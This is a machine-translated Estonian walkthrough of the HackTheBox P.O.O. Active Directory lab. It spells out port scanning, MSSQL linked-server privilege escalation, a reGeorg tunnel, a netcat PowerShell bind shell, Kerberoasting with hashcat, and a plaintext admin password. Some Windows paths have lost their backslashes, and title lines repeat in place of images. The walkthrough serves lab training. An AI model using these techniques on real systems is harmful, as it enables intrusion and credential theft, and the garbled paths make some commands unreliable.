HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Selles artiklis arutame, kuidas ületada mitte lihtsalt masinat, vaid tervet mini-laboratoriost. HackTheBox.

Nagu kirjas on, on P.O.O. mõeldud oskuste testimiseks kõigis rünnakute etappides väikestes Active Directory keskkondades. Eesmärk on kompenseerida juurdepääsetavat hosti, tõsta õigusi ja lõpuks kompromiteerida kogu domeeni, kogudes seejuures 5 lippu.

Laboratoorsesse juurde pääsemine toimub VPN kaudu. Soovitatav on mitte ühenduda tööarvutiga või hostiga, kus on teie jaoks olulised andmed, kuna pääsete privaatvõrku, kus on inimesi, kes oskavad teatud kaubanduses midagi teha 🙂

Organisatsiooniline teave
Kuna soovite saada teavet uute artiklite, tarkvara ja muu kohta, olen loonud kanali Telegramis ja rühma mis tahes küsimuste arutamiseks infotehnoloogia ja küberturvalisuse valdkonnas. Samuti vaatan teie isiklikud soovid, küsimused, ettepanekud ja soovitused isiklikult läbi ja vastan kõigile..

Kogu teave on esitatud üksnes hariduslikel eesmärkidel. Selle dokumendi autor ei vastuta mingite kahjustuste eest, mis võivad kellelegi tekkida selle dokumendi uurimise käigus saadud teadmiste ja meetodite kasutamisest.

Intro

See lõppkäik koosneb kahest masinast ja sisaldab 5 lippu.

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Samuti antakse kirjelduse ja juurdepääsetava hosti aadress.

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Alustame!

Recon lipp

Sellel masinal on IP-aadress 10.13.38.11, mille lisasin /etc/hosts.
10.13.38.11 poo.htb

Esmalt skanneerime avatud porte. Kuna kõikide portide skanneerimine nmapiga kestab kaua, teen seda esialgu masscaniga. Skenneerime kõiki TCP ja UDP porte tun0 liideselt 500 paketti sekundis.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Nüüd käivitame portide teenuseid sügavama teabe saamiseks skaneerimise -A valikuga.

nmap -A poo.htb -p80,1433

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Nii saame IIS ja MSSQL teenused. Sellega saame teada tegeliku DNS domeeninime ja arvuti nime. Veebiserveris tervitab meid IIS-i avaleht.

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Vaatame ka kaustu. Selleks kasutan gobusterit. Seadistustes määrame lõime arvu 128 (-t), URL (-u), sõnastiku (-w) ja huvipakkuvad laiendid (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Nii on meil HTTP autentimine kaustas /admin ning ligipääsetav lauateenuse hoidla fail .DS_Store. .DS_Store on fail, kus hoitakse kausta kasutusmääranguid, nagu failide loetelu, ikoonide asukohad ja valitud taustapilt. Selline fail võib veebiarendajate juures sattuda veebiserveri kausta. Nii saame teavet katalooge sisu kohta. Selleks võib kasutada DS_Store crawler.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Me saame katalooge sisu. Kõige huvitavam siin on kataloog /dev, kust kahe haru abil saame vaadata lähtekoode ja db-faile. Kuid me saame teada ainult failide ja kataloogide nimede esimesed 6 tähte, kui teenus on haavatav IIS ShortName'i suhtes. Selle haavatavuse kontrollimiseks saab kasutada IIS shortname Scanner.

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Ja leidsime ühe faili, mille nimi algab «poo_co». Ilma igasuguse plaanita valisin lihtsalt sõnastikust kõik sõnad, mis algavad «co».

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

Ja proovime wfuzz'i abil.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Ja leiame sobiva sõna! Vaatame seda faili, salvestame sisselogimise andmed (tundub, et need on MSSQL-i omad).

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Anname lipu ja edusamme on 20%.

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Huh lipu

Ühendume MSSQL-iga, kasutan DBeaverit.

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Selles andmebaasis pole midagi huvitavat, loome SQL toimetaja ja vaatame, kes on kasutajad.

SELECT name FROM master..syslogins;

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Meil on kaks kasutajat. Vaatame oma õigusi.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Seega pole privileege. Vaatame seotud servereid, sellest meetodist kirjutasin ma põhjalikult. siit.

SELECT * FROM master..sysservers;

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Nii leiame veel ühe SQL Serveri. Kontrollime sellel serveril käivitatavaid käsklusi openquery() abil.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Me saame isegi ehitada päringute puu.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Asi on selles, et kui me teeme päringu seotud serveris, siis päring täidetakse teise kasutaja kontekstis! Vaatame, millise kasutaja kontekstis me töötame seotud serveris.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Nüüd vaatame, millises kontekstis käivitatakse päringud seotud serverist meie poole!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Seega on see DBO kontekst, millel peavad olema kõik õigused. Kontrollime õigusi seotud serveri päringu korral.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Nagu näha, on meil kõik õigused! Loome siis oma administraatori. Kuid openquery kaudu ei lubata, teeme selle EXECUTE AT kaudu.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

Ja nüüd ühendame uue kasutaja mandaadi kaudu, jälgime uut andmebaasi flag.

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Anname selle lipu ja liigume edasi.

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

BackTrack lipu

Saame MSSQL abil shelli, kasutan impacket paketti mssqlclient.

mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Me peame paroolid hankima, ja esimene asi, millega me kokku puutusime, on veebisait. Seega on meil vaja veebiserveri konfiguratsiooni (mugavat shelli ei saa käitada, ilmselt töötab tulemüür).

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Kuid juurdepääs on keelatud. Kuigi me saame faili lugeda MSSQL-i kaudu, peame lihtsalt teadma, millised programmeerimiskeeled on seadistatud. Ja MSSQL-i kataloogist leiame, et seal on Python.

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Sel juhul ei ole web.config faili lugemisel mingeid probleeme.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Leitud mandaatidega siseneme /admin ja saame lipu.

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Foothold lipu

Tegelikult on tulemüüri kasutamisel mõned ebamugavused, kuid vaadates võrgu seadistusi, märkame, et kasutatakse ka IPv6-leke!

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Lisame selle aadressi /etc/hosts.
dead:babe::1001 poo6.htb
Laseme jälle hosti skaneerida, kuid IPv6 protokolli kaudu.

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Ja WinRM teenus on saadaval IPv6 kaudu. Ühendame leitud mandaadidega.

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Töölaual on lipp, anname selle edasi.

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

P00ned lipu

Käideldes hosti luure abil winpeas ei leia midagi erilist. Siis otsustati uuesti otsida mandaate (sellest teemast olen ka kirjutanud artiklile). Kuid WinRM kaudu ei õnnestunud mul kõiki SPN-e süsteemist saada.

setspn.exe -T intranet.poo -Q *\*

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Teeme käskluse läbi MSSQL.

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Antud viisil saame p00_hr ja p00_adm kasutajate SPN-id, mis tähendavad, et nad on haavatavad sellise rünnaku nagu Kerberoasting suhtes. Ühesõnaga, me saame nende paroolide räsi.

Esmalt on vaja saada stabiilne shelly MSSQL kasutajanime alt. Kuid kuna meie juurdepääsu piiratakse, on meil ühendus hostiga ainult portide 80 ja 1433 kaudu. Aga on võimalus tunnelida liiklust 80 porta kaudu! Selleks kasutame järgmist rakendust. Laadime faili tunnel.aspx veebiserveri kodukausta — C:inetpubwwwroot.

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Kuid proovides sellele juurde pääseda, saame vea 404. See tähendab, et *.aspx failid ei tööta. Et failid selle laiendiga töötaksid, paigaldame ASP.NET 4.5 järgmiselt.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Ja nüüd, kui üritame tunnel.aspx-i juurde pääseda, saame vastuse, et kõik on tööks valmis.

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Käivitame rakenduse kliendi osa, mis tegeleb liikluse edastamisega. Suuname kogu liikluse 5432 porti serverisse.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Ja kasutame proxychains'i, et suunata mistahes rakenduse liiklus meie proksist läbi. Lisame selle proksi konfiguratsioonifaili /etc/proxychains.conf.

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Nüüd laadime serverisse programmi netcat, millega loome stabiilse bind shelli ja skripti Invoke-Kerberoast, millega teeme Kerberoastingu rünnaku.

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Nüüd käivitame MSSQL kaudu listeneri.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Ja ühendame meie proksi kaudu.

proxychains rlwrap nc poo.htb 4321

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Ja saame hakata hash'e saama.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Edasi tuleb need hash'id lahti muukida. Kuna rockyou sõnastikus neid paroole ei olnud, kasutasin ma KÕIKI Seclists'is pakutud paroolide sõnastikke. Lahti muukimiseks kasutame hashcat'i.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

Ja leidsime mõlemad paroolid, esimese sõnastikust dutch_passwordlist.txt ja teise Keyboard-Combinations.txt.

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Nüüd on meil kolm kasutajat, läheme domeenikontrollerisse. Esiteks saame teada selle aadressi.

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Suurepärane, me oleme tuvastanud domeeni kontrolleri IP-aadressi. Uurime nüüd, kes kõik on domeeni kasutajad ja kes neist on administraator. Laadime alla skripti PowerView.ps1, et teavet saada. Seejärel ühendame evil-winrm utiliidiga, määrates -s parameetris skripti asukoha. Ja siis laadime lihtsalt PowerView skripti üles.

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Nüüd on kõik tema funktsioonid meie käsutuses. Kasutaja p00_adm näib olevat privileegidega, seega töötame tema kontekstis. Loome objekti PSCredential selle kasutaja jaoks.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Nüüd, kõik Powershelli käsud, kus me määrame Creds, käivitatakse p00_adm nime all. Vaatame kasutajate loendit ja AdminCount atribuudid.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Nii et meie kasutaja on tõeliselt privileegitud. Uurime, millistes rühmades ta on.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Lõplikult kinnitame, et kasutaja on domeeni administraator. See annab talle õiguse kaugjuurdepääsuks domeenikontrollerile. Proovime sisse logida WinRM-i kaudu meie tunnelit kasutades. Mind häirisid reGeorg'i veateated evil-winrm'i kasutamisel.

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Siis kasutame teist, lihtsamat skripti WinRM-iga ühenduse loomiseks. Avame ja muudame ühenduse seadeid.

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Proovime ühendust ja oleme süsteemis.

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

Aga lippu pole. Vaata kasutajat ja kontrollime töölaudu.

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

mr3ks-l leidsime lipu ja laboratoorium on 100% läbitud.

HackTheBoxi lõpp. Professionaalse rünnaku operatsioonide laboratooriumi läbimine. Active Directory pentest.

See on kõik. Tagasisideks kommenteerige, kas õppisite sellest artiklist midagi uut ja kas see oli teile kasulik.

Saate liituda meiega Telegram. Seal leiate huvitavaid materjale, lekkinud kursuseid ja ka tarkvara. Kogume kogu, kus on inimesi, kes mõistavad paljusid IT valdkondi, et me saaksime üksteisele igasugustes IT ja küberturbe küsimustes alatiabi anda.

Allikas: habr.com

Osta usaldusväärne veebihosting DDoS kaitsega, VPS VDS serverid 🔥 Osta usaldusväärne veebihosting DDoS kaitsega, VPS VDS serverid | ProHoster